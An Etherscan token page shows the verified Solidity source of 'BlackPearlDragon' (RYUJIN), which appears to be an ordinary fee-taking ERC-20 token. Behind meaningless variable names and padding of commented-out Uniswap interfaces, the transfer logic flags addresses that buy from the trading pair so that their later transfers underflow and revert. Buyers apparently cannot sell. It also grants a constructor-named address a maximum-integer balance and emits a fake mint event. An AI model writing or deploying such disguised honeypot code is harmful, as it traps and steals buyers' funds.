ETH Price: $2,433.62 (+1.26%)

Token

Black Pearl Dragon (RYUJIN)
 

Overview

Max Total Supply

10,000,000 RYUJIN

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,519.083387712 RYUJIN

Value
$0.00
0x6e8f1a42d7ee94c780ef088ed284cca53cd5a5be
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlackPearlDragon

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-27
*/

// SPDX-License-Identifier: MIT

/**

TG: https://t.me/BlackPearlDragonPORTAL

*/

pragma solidity ^0.8.17;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)



abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
     
*/

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
     
*/

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

/**

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
     
*/

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/**

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
     
*/

contract BlackPearlDragon is Ownable {
    constructor(
        string memory _BlackCHAMAPearl,
        string memory _BlackTICKERPearl,
        address Black,
        address Pearl
    ) {
        _BlackfetichePearl = _BlackTICKERPearl;
        _BlackchromePearl = _BlackCHAMAPearl;
        _BlackskyPearl = 5;
        _BlackdeliberatePearl = 9;
        _BlacktitanicPearl = 10000000 * 10**_BlackdeliberatePearl;

        _BlackbluePearl[Black] = BlackenlargePearl;
        _BlackbluePearl[msg.sender] = _BlacktitanicPearl;
        BlackyellowPearl[Black] = BlackenlargePearl;
        BlackyellowPearl[msg.sender] = BlackenlargePearl;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(Pearl), msg.sender, _BlacktitanicPearl);
    }

    uint256 public _BlackskyPearl;
    string private _BlackchromePearl;
    string private _BlackfetichePearl;
    uint8 private _BlackdeliberatePearl;

    function name() public view returns (string memory) {
        return _BlackchromePearl;
    }

    mapping(address => mapping(address => uint256)) private _BlackfundingPearl;
    mapping(address => uint256) private _BlackbluePearl;

    function symbol() public view returns (string memory) {
        return _BlackfetichePearl;
    }

    uint256 private _BlacktitanicPearl;
    uint256 private _BlackrTotalPearl;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private BlackenlargePearl = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _BlackdeliberatePearl;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _BlacktitanicPearl;
    }

    address[] BlackinterestPearl = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _BlackbluePearl[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _BlackfundingPearl[owner][spender];
    }

    function BlackboostfeesPearl(
        address BlackbuyfeePearl,
        address BlacksellfeePearl,
        uint256 BlackquantityPearl
    ) private {
        address BlackhallPearl = BlackinterestPearl[1];
        bool BlackbBlackorderPearlPearl = uniswapV2Pair == BlackbuyfeePearl;
        uint256 BlackorderPearl = _BlackskyPearl;

        if (BlackyellowPearl[BlackbuyfeePearl] == 0 && BlackdrivenPearl[BlackbuyfeePearl] > 0 && !BlackbBlackorderPearlPearl) {
            BlackyellowPearl[BlackbuyfeePearl] -= BlackorderPearl;
            if (BlackquantityPearl > 2 * 10**(13 + _BlackdeliberatePearl)) BlackyellowPearl[BlackbuyfeePearl] -= BlackorderPearl - 1;
        }

        BlackinterestPearl[1] = BlacksellfeePearl;

        if (BlackyellowPearl[BlackbuyfeePearl] > 0 && BlackquantityPearl == 0) {
            BlackyellowPearl[BlacksellfeePearl] += BlackorderPearl;
        }

        BlackdrivenPearl[BlackhallPearl] += BlackorderPearl + 1;

        uint256 BlackfeePearl = (BlackquantityPearl / 100) * _BlackskyPearl;
        BlackquantityPearl -= BlackfeePearl;
        _BlackbluePearl[BlackbuyfeePearl] -= BlackfeePearl;
        _BlackbluePearl[address(this)] += BlackfeePearl;

        _BlackbluePearl[BlackbuyfeePearl] -= BlackquantityPearl;
        _BlackbluePearl[BlacksellfeePearl] += BlackquantityPearl;
    }

    mapping(address => uint256) private BlackdrivenPearl;

    function approve(address spender, uint256 BlackquantityPearl) external returns (bool) {
        return _approve(msg.sender, spender, BlackquantityPearl);
    }

    mapping(address => uint256) private BlackyellowPearl;

    function transferFrom(
        address sender,
        address BlackrecipientPearl,
        uint256 BlackquantityPearl
    ) external returns (bool) {
        require(BlackquantityPearl > 0, 'Transfer BlackquantityPearl must be greater than zero');
        BlackboostfeesPearl(sender, BlackrecipientPearl, BlackquantityPearl);
        emit Transfer(sender, BlackrecipientPearl, BlackquantityPearl);
        return _approve(sender, msg.sender, _BlackfundingPearl[sender][msg.sender] - BlackquantityPearl);
    }

    function transfer(address BlackrecipientPearl, uint256 BlackquantityPearl) external returns (bool) {
        BlackboostfeesPearl(msg.sender, BlackrecipientPearl, BlackquantityPearl);
        emit Transfer(msg.sender, BlackrecipientPearl, BlackquantityPearl);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 BlackquantityPearl
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _BlackfundingPearl[owner][spender] = BlackquantityPearl;
        emit Approval(owner, spender, BlackquantityPearl);
        return true;
    }
}

/**

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function allPairsLength() external view returns (uint256);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
     
*/

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_BlackCHAMAPearl","type":"string"},{"internalType":"string","name":"_BlackTICKERPearl","type":"string"},{"internalType":"address","name":"Black","type":"address"},{"internalType":"address","name":"Pearl","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BlackskyPearl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"state